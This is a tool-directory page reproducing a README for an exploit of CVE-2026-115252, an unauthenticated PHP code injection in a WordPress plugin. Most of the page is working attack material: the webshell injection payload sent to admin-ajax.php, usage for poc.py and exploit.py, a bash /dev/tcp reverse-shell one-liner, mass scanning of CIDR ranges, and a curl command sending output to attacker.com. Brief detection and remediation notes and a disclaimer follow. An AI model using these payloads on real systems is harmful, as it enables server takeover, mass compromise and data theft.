Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-115252-wordpress-php-injection-rce — CVE-2026-115252 - WordPress Confection Plugin PHP Code Injection RCE | CVSS 10.0 | By Gh0st-Bx1 | Kitploit
Tools/GitHubGitHub/ghost-bx1/cve-2026-115252-wordpress-php-injection-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRemote Access Trojan
GitHub
ghost-bx1/cve-2026-115252-wordpress-php-injection-rce

cve-2026-115252-wordpress-php-injection-rce

CVE-2026-115252 - WordPress Confection Plugin PHP Code Injection RCE | CVSS 10.0 | By Gh0st-Bx1

View Repository
10 days agoNot yet reviewed
Share

WP-Ghost - CVE-2026-115252

CVE CVSS

Python Platform Category By Gh0st-Bx1

DISCLAIMER: This repository was created exclusively for educational and security research purposes. The use of these tools against systems without prior express written authorization is illegal. The author is not responsible for any misuse of this material.


Summary

CampoDetalhe
CVECVE-2026-115252
ApelidoWP-Ghost
TipoPHP Code Injection via Missing Authorization (CWE-862 + CWE-94)
CVSS10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
ComponenteWordPress Confection Plugin - endpoint confection_save_settings
VetoresPOST para admin-ajax.php sem autenticacao
AutenticacaoNao requerida (unauthenticated)
AfetaWordPress Confection Plugin versoes 0.4.0 a 0.4.7
CorrigidoConfection Plugin >= 0.4.8
DivulgadoNovembro 2026

Vulnerability Description

Root cause

The Confection plugin for WordPress (versions 0.4.0 to 0.4.7) registers the wp_ajax_nopriv_confection_save_settings hook, which is accessible without authentication via admin-ajax.php. The handler saves the value of the confection_code field directly into the plugin's conf.php file without validating capability or nonce.

An attacker without any credentials can inject arbitrary PHP that is written to disk and executed on any subsequent request to the conf.php file.

1. Plugin registra hook wp_ajax_nopriv_confection_save_settings
   (acessivel SEM autenticacao via admin-ajax.php)
2. Handler salva confection_code em conf.php sem validar nonce nem capability
3. Atacante POST para /wp-admin/admin-ajax.php:
   action=confection_save_settings&confection_code=<?php system($_GET['cmd']); ?>
4. PHP gravado em: /wp-content/plugins/confection/includes/conf.php
5. Atacante acessa conf.php?cmd=id e obtem RCE como www-data/apache

Attack flow:

Atacante --> POST /wp-admin/admin-ajax.php
             action=confection_save_settings
             confection_code=<?php system($_GET["ghost"]); ?>
                   |
       Plugin grava PHP em conf.php (sem validar auth)
                   |
Atacante --> GET /wp-content/plugins/confection/includes/conf.php?ghost=id
                   |
           RCE como processo do servidor web (www-data)

Affected versions

Plugin VersionStatus
0.4.0 - 0.4.7Vulnerable (no auth verification)
>= 0.4.8Fixed

Repository Structure

cve-2026-115252/
    poc.py          Verifica plugin e injeta webshell de teste
    exploit.py      Exploit completo: reverse shell, scan em massa
    README.md       Este arquivo

Usage

PoC - Verify plugin and vulnerability

python poc.py --url http://alvo.com --check

PoC - Execute command

python poc.py --url http://alvo.com --cmd "id"
python poc.py --url http://alvo.com --cmd "cat /etc/passwd"

Exploit - Arbitrary command

python exploit.py --url http://alvo.com --cmd "id; whoami; hostname"

Exploit - Reverse shell

# Terminal 1 (listener integrado):
python exploit.py --url http://alvo.com --reverse-shell --lhost 192.168.1.10 --lport 4444

# Manual com nc:
nc -lvnp 4444
python exploit.py --url http://alvo.com \
                  --cmd "bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'"

Exploit - Mass scan

# Scan de CIDR
python exploit.py --scan 10.0.0.0/24 --threads 30

# Scan de arquivo
python exploit.py --scan alvos.txt --cmd "id"

# Scan + explorar todos os vulneraveis
python exploit.py --scan 10.0.0.0/24 --cmd "curl http://attacker.com/`id`"

Full Options

poc.py

--url      URL base do WordPress (ex: http://alvo.com)
--cmd      Comando a executar (default: id)
--token    Parametro da webshell (default: ghost)
--check    Apenas verifica o plugin (sem injecao)
--silent   Suprime o banner

exploit.py

--url           URL do WordPress alvo
--scan          CIDR, range IP ou arquivo para scan em massa
--cmd           Comando a executar
--token         Parametro da webshell (default: ghost)
--reverse-shell Lanca reverse shell com listener integrado
--lhost         IP para receber reverse shell
--lport         Porta para reverse shell (default: 4444)
--threads       Threads para scan (default: 20)
--silent        Suprime o banner

Detection and Mitigation

IndicatorDescription
Unauthenticated POST to /wp-admin/admin-ajax.phpExploitation attempt
PHP content in conf.php (Confection plugin)Injected webshell
GET request to conf.php with parametersWebshell execution
Unexpected outbound connection from the web serverActive reverse shell

Remediation:

  1. Update the Confection plugin to version 0.4.8 or higher
  2. Disable the plugin immediately if updating is not possible
  3. Check the file conf.php for malicious PHP content
  4. WAF: block POSTs to admin-ajax.php with action=confection_save_settings
  5. Monitor modifications to PHP files within the plugins directory

References

  • WordPress Plugin Repository - Confection
  • CWE-862: Missing Authorization
  • CWE-94: Code Injection
  • OWASP: Broken Access Control

By Gh0st-Bx1 | https://github.com/Ghost-Bx1

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    411
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    328
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    314
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    275

Explore all tools

Browse our collection of tools

View all tools →
Download Tool